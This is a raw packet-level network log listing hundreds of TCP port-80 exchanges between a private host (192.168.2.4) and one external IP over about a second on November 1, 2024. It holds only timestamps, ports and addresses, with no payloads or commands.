Nov 1, 2024 08:50:18.192348957 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:18.192352057 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.192365885 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.192384958 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:18.192410946 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:18.192410946 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.192428112 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.192441940 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.192488909 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:18.192488909 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:18.192496061 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.192512989 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.192524910 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.192536116 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.192548990 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.192575932 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:18.192595959 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:18.338541031 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:18.344011068 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.344049931 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.344063044 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.344073057 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.344089985 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:18.344113111 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.344114065 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:18.344129086 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.344140053 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.344156027 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.344172955 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:18.344175100 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.344191074 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.344202042 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.344213009 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.344219923 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:18.344232082 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:18.344233990 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.344247103 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:18.344252110 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.344263077 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.344275951 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.344288111 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.344290018 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:18.344299078 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.344315052 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.344338894 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:18.344338894 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:18.344356060 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.344367027 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.344377041 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.344389915 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.344394922 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:18.344400883 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.344412088 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.344422102 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:18.344424963 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.344436884 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.344448090 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.344471931 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:18.344471931 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:18.344510078 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:18.344516993 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.344527960 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.344537973 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.344548941 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.344561100 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.344566107 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:18.344572067 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.344590902 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:18.344624996 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:18.344676018 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.344687939 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.344696999 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.344707966 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.344718933 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.344732046 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.344738960 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:18.344738960 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:18.344742060 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.344753981 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.344764948 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.344769955 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:18.344778061 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.344790936 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.344794035 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:18.344827890 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:18.344928026 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.344938993 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.344949007 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.344959021 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.344970942 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.344981909 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.344995022 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.345005035 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:18.345006943 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.345019102 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.345026016 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:18.345030069 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.345041037 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.345051050 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.345058918 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:18.345058918 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:18.345062017 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.345077991 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:18.345120907 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:18.345192909 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.345205069 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.345216036 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.345227957 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.345238924 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.345251083 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.345259905 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:18.345259905 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:18.345263004 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.345273972 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.345285892 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.345297098 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.345303059 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:18.345309973 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.345319986 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.345330954 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.345343113 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.345355988 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.345359087 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:18.345359087 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:18.345366955 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.345386982 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:18.345429897 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:18.345453978 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.345464945 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.345474005 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.345485926 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.345498085 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.345508099 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.345516920 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:18.345523119 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.345529079 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:18.345554113 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.345566034 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.345585108 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.345601082 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.345612049 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.345614910 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:18.345614910 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:18.345623016 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.345633984 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.345645905 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.345647097 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:18.345658064 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.345668077 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.345685005 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.345694065 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:18.345694065 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:18.345698118 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.345709085 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.345721006 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.345731974 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.345742941 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.345762014 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:18.345772028 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:18.345779896 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.345791101 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.345799923 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.345812082 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.345823050 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.345835924 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.345849037 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.345849037 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:18.345849037 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:18.345885038 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:18.345885038 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:18.346009016 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.346019983 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.346030951 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.346041918 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.346052885 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.346065044 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.346086025 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:18.346086025 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:18.346096992 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.346108913 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.346110106 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:18.346120119 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.346132040 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.346142054 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.346152067 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:18.346153975 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.346164942 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.346177101 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.346177101 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:18.346188068 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.346219063 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.346227884 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:18.346227884 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:18.346230984 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.346242905 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.346254110 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.346265078 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.346270084 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:18.346276045 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.346287012 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.346297026 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.346301079 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:18.346311092 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.346328974 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.346334934 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:18.346342087 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.346353054 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.346364975 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.346375942 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.346380949 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.346385956 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.346390963 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.346395969 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.346395969 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:18.346395969 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:18.346406937 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.346420050 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.346431017 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.346482992 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:18.346503973 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:18.346652985 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.346663952 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.346673965 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.346684933 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.346695900 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.346709013 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.346715927 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:18.346719980 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.346730947 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.346741915 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.346745968 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:18.346755028 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.346765995 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.346779108 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.346792936 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:18.346792936 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:18.346808910 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.346820116 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.346821070 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:18.346831083 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.346842051 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.346853018 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.346874952 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:18.346874952 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:18.346878052 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.346910000 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.346910954 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:18.346921921 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.346934080 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.346946001 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.346956968 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.346972942 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.346975088 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:18.346986055 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.346997976 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.347018003 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:18.347018003 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:18.347027063 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.347038031 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.347053051 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:18.347059965 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.347070932 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.347081900 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.347094059 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.347094059 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:18.347105980 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.347110987 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:18.347117901 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.347130060 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.347138882 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:18.347141981 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.347155094 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.347173929 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.347177029 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:18.347177029 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:18.347187042 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.347197056 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.347209930 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.347220898 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.347232103 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.347235918 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:18.347235918 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:18.347243071 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.347254038 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.347259045 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:18.347265959 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.347275972 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.347285986 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:18.347286940 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.347300053 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.347330093 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:18.347330093 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:18.347505093 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.347516060 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.347526073 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.347537994 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.347556114 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.347568035 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.347577095 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.347589016 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:18.347589970 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.347614050 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:18.347623110 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.347634077 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.347656012 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.347659111 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:18.347659111 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:18.347666979 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.347677946 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.347688913 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.347701073 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.347703934 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:18.347712994 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.347717047 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:18.347740889 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.347758055 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.347769976 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.347780943 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.347790956 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:18.347793102 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.347805023 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.347810030 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:18.347824097 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.347836018 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.347842932 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:18.347871065 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:18.347871065 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:18.566962957 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.567024946 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:19.002904892 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.003216982 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:19.094230890 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:19.100152969 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.100169897 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.100181103 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.100234032 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.100244999 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.100258112 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.100267887 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.100274086 CET	49738	80	192.168.2.4	185.215.113.16
